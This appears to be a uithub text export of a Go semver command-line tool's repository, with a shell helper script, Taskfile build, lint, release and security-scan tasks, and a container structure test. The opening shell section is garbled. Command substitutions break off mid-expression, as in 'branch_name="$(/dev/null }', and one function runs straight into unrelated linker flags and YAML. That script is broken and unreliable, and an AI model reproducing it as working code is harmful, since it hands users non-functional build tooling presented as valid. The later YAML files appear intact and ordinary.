${GITHUB_REF_NAME:-} ]]; then branch_name="${GITHUB_REF_NAME}" # Try to determine branch name from BRANCH_NAME environment variable (Jenkins) elif [[ -n ${BRANCH_NAME:-} ]]; then branch_name="${BRANCH_NAME}" else printf 'error: detached HEAD\n' >&2 exit 1 fi fi printf '%s' "${branch_name}" } clean_branch_name() { local branch_name branch_name="$(/dev/null } lastAccessibleTag() { local tag tag="$(git describe --tags --match "v*.*.*" --abbrev=0 2>/dev/null)" if [[ -z ${tag} ]]; then tag="0.1.0" fi printf '%s' "${tag}" } strip_version_prefix() { local version version="$(- -X github.com/snarlingkimo/semver/v2/internal/pkg/app.version={{.BUILD_VERSION}} -extldflags "-static" -s -w tasks: clean: desc: Delete Go build artifacts cmds: - rm -rf artifacts/ silent: true tidy: desc: Tidy go.mod cmds: - go mod tidy -v silent: true download: desc: Download required dependencies cmds: - go mod download -x silent: true verify: desc: Verify downloaded dependencies cmds: - go mod verify silent: true build: desc: Build packages vars: PACKAGES: './...' cmds: - task: download - mkdir -p artifacts/bin - |- {{.GO_BUILD_ENV}} go build -o artifacts/bin -v -ldflags='{{.LDFLAGS}}' -trimpath {{.PACKAGES}} silent: true test: desc: Run tests cmds: - task: download - mkdir -p artifacts/coverage-results - go test -race -covermode atomic -v -coverprofile artifacts/coverage-results/coverage.out ./... - go tool cover -html artifacts/coverage-results/coverage.out -o artifacts/coverage-results/coverage.html silent: true # https://github.com/icholy/gomajor # go install github.com/icholy/gomajor@latest upgrade-major-dependencies: desc: Upgrade all indirect dependencies cmds: - gomajor get -major all - task: tidy silent: true upgrade-indirect-dependencies: desc: Upgrade all indirect dependencies cmds: - go get -v -u all - task: tidy silent: true # https://github.com/mvdan/gofumpt # go install mvdan.cc/gofumpt@latest gofumpt: desc: Format code with gofumpt vars: GO_FILES: sh: find . -type f -name '*.go' | grep -v .terraform cmds: - for: {var: GO_FILES} cmd: gofumpt -l -w -extra {{.ITEM}} silent: true mod:fmt: desc: Format go.mod file cmds: - go mod edit -fmt silent: true # https://cs.opensource.google/go/x/tools # go install golang.org/x/tools/cmd/goimports@latest goimports: desc: Optimize imports with goimports vars: MODULE_PATH: {sh: go list -m} cmds: - goimports -w -local {{.MODULE_PATH}} . silent: true ``` ## /tasks/GolangciLintTasks.yml ```yml path="/tasks/GolangciLintTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: fmt: desc: Format Go code cmds: - golangci-lint fmt --config .github/linters/.golangci.yml silent: true lint: desc: Lint Go code cmds: - golangci-lint run --issues-exit-code 0 --tests --print-resources-usage --config .github/linters/.golangci.yml silent: true lint:fix: desc: Lint Go code and fix errors cmds: - golangci-lint run --issues-exit-code 0 --tests --print-resources-usage --config .github/linters/.golangci.yml --fix silent: true linters: desc: List golangci-lint linters cmds: - golangci-lint linters --config .github/linters/.golangci.yml silent: true ``` ## /tasks/GoreleaserTasks.yml ```yml path="/tasks/GoreleaserTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: check: desc: Check GoReleaser configuration cmds: - goreleaser check --config build/package/.goreleaser.yaml silent: true build: desc: Build with GoReleaser env: SNAPSHOT_VERSION: '{{.BUILD_VERSION}}' cmds: - goreleaser build --config build/package/.goreleaser.yaml --clean --single-target --snapshot silent: true snapshot: desc: Create snapshot release with GoReleaser vars: IMAGE_BASE_NAME: {sh: 'sed -nE "/^FROM/ { s/^FROM ([^:]+):([^@]+)@([^ ]+).*$/\1/; p; q; }" build/package/Dockerfile'} IMAGE_BASE_TAG: {sh: 'sed -nE "/^FROM/ { s/^FROM ([^:]+):([^@]+)@([^ ]+).*$/\2/; p; q; }" build/package/Dockerfile'} IMAGE_BASE_DIGEST: {sh: 'sed -nE "/^FROM/ { s/^FROM ([^:]+):([^@]+)@([^ ]+).*$/\3/; p; q; }" build/package/Dockerfile'} env: SNAPSHOT_VERSION: '{{.BUILD_VERSION}}' IMAGE_BASE_NAME: '{{.IMAGE_BASE_NAME}}:{{.IMAGE_BASE_TAG}}' IMAGE_BASE_DIGEST: '{{.IMAGE_BASE_DIGEST}}' cmds: - docker context use default - goreleaser release --config build/package/.goreleaser.yaml --clean --skip sign --snapshot silent: true release-dry-run: desc: Create release with GoReleaser without publishing artifacts vars: IMAGE_BASE_NAME: {sh: 'sed -nE "/^FROM/ { s/^FROM ([^:]+):([^@]+)@([^ ]+).*$/\1/; p; q; }" build/package/Dockerfile'} IMAGE_BASE_DIGEST: {sh: 'sed -nE "/^FROM/ { s/^FROM ([^:]+):([^@]+)@([^ ]+).*$/\3/; p; q; }" build/package/Dockerfile'} env: IMAGE_BASE_NAME: '{{.IMAGE_BASE_NAME}}:{{.IMAGE_BASE_TAG}}' IMAGE_BASE_DIGEST: '{{.IMAGE_BASE_DIGEST}}' cmds: - docker context use default - goreleaser release --config build/package/.goreleaser.yaml --clean --skip publish silent: true ``` ## /tasks/LicensedTasks.yml ```yml path="/tasks/LicensedTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: list:dependencies: desc: List dependencies cmds: - licensed list silent: true list:licenses: desc: List licenses dir: .licenses cmds: - | find . -name '*.yml' -type f -exec grep -h 'license: ' {} + | sed 's/^license: //' | sort -u silent: true status: desc: Check licensed status cmds: - licensed status silent: true cache: desc: Update licensed cache cmds: - licensed cache --force - | find .licenses/go/golang.org/x -type f -name '*.yml' -exec sed -i.bak 's/license: other/license: bsd-3-clause/g' {} \; - find ./.licenses -type f -name '*.bak' -delete silent: true notices: desc: Generate NOTICE file cmds: - licensed notices silent: true ``` ## /tasks/MarkdownlintTasks.yml ```yml path="/tasks/MarkdownlintTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: lint: desc: Lint Markdown files vars: ADDITIONAL_ARGS: '{{.ADDITIONAL_ARGS}}' cmds: - docker run -it --rm --volume "$(pwd):/work" --workdir /work ghcr.io/tmknom/dockerfiles/markdownlint:latest --config .github/linters/.markdown-lint.yml --dot --ignore node_modules/ {{.ADDITIONAL_ARGS}} . silent: true ``` ## /tasks/MiscTasks.yml ```yml path="/tasks/MiscTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: container-structure-test: desc: Run container structure tests cmds: - container-structure-test test --image ghcr.io/ffurrer2/semver:latest --config test/semver_container_test.yml grype: desc: Run Grype scan cmds: - grype ghcr.io/ffurrer2/semver:latest ``` ## /tasks/TrivyTasks.yml ```yml path="/tasks/TrivyTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: image:scan: desc: Run Trivy image scanner preconditions: - sh: '{{if empty .IMAGE_NAME}}false{{end}}' msg: 'error: variable "IMAGE_NAME" is required (e.g. task trivy:image IMAGE_NAME=docker.io/library/ubuntu:latest)' cmds: - trivy image --format table {{.IMAGE_NAME}} silent: true filesystem:scan: desc: Run Trivy filesystem scanner cmds: - trivy filesystem --scanners vuln,misconfig,secret,license --skip-dirs .idea --dependency-tree --format table . silent: true ``` ## /tasks/YamllintTasks.yml ```yml path="/tasks/YamllintTasks.yml" # SPDX-License-Identifier: MIT # https://taskfile.dev version: '3' tasks: lint: desc: Lint YAML files cmds: - docker run -it --rm --volume "$(pwd):/work" --workdir /work docker.io/cytopia/yamllint:latest --config-file .github/linters/.yaml-lint.yml --format auto --strict . silent: true ``` ## /test/semver_container_test.yml ```yml path="/test/semver_container_test.yml" # SPDX-License-Identifier: MIT schemaVersion: 2.0.0 commandTests: - name: 'semver help' command: 'semver' args: ['-h'] exitCode: 0 - name: 'semver version' command: 'semver' args: ['version'] expectedOutput: - |- semver version: (0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))? git commit: [a-f0-9]{40} git tree state: clean exitCode: 0 fileExistenceTests: - name: 'semver binary' path: '/usr/local/bin/semver' shouldExist: true permissions: '-rwxr-xr-x' uid: 0 gid: 0 isExecutableBy: 'any' - name: 'nonroot home directory' path: '/home/nonroot' shouldExist: true permissions: 'drwx------' uid: 65532 gid: 65532 isExecutableBy: 'owner' metadataTest: labels: - key: 'org.opencontainers.image.authors' value: 'Felix Furrer' - key: 'org.opencontainers.image.base.digest' value: '^sha256:[a-f0-9]{64}$' isRegex: true - key: 'org.opencontainers.image.base.name' value: '^gcr.io/distroless/static-debian12:nonroot$' isRegex: true - key: 'org.opencontainers.image.created' value: '^\d{4}-\d\d-\d\dT\d\d:\d\d:\d\d(\.\d+)?(([+-]\d\d:\d\d)|Z)?$' isRegex: true - key: 'org.opencontainers.image.description' value: 'A semantic versioning command line utility written in Go.' - key: 'org.opencontainers.image.documentation' value: 'https://github.com/snarlingkimo/semver/blob/main/README.md' - key: 'org.opencontainers.image.licenses' value: 'MIT' - key: 'org.opencontainers.image.revision' value: '^[a-f0-9]{40}$' isRegex: true - key: 'org.opencontainers.image.source' value: 'https://github.com/snarlingkimo/semver' - key: 'org.opencontainers.image.title' value: 'SemVer' - key: 'org.opencontainers.image.url' value: 'https://github.com/snarlingkimo/semver' - key: 'org.opencontainers.image.vendor' value: 'Felix Furrer' - key: 'org.opencontainers.image.version' value: '^(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)(?:-((?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+([0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$' isRegex: true entrypoint: ['/usr/local/bin/semver'] cmd: ['help'] exposedPorts: [] volumes: [] workdir: '/work' user: 'nonroot' ``` The better and more specific the context, the better the LLM can follow instructions. If the context seems verbose, the user can refine the filter using uithub. Thank you for using https://uithub.com - Perfect LLM context for any GitHub repo.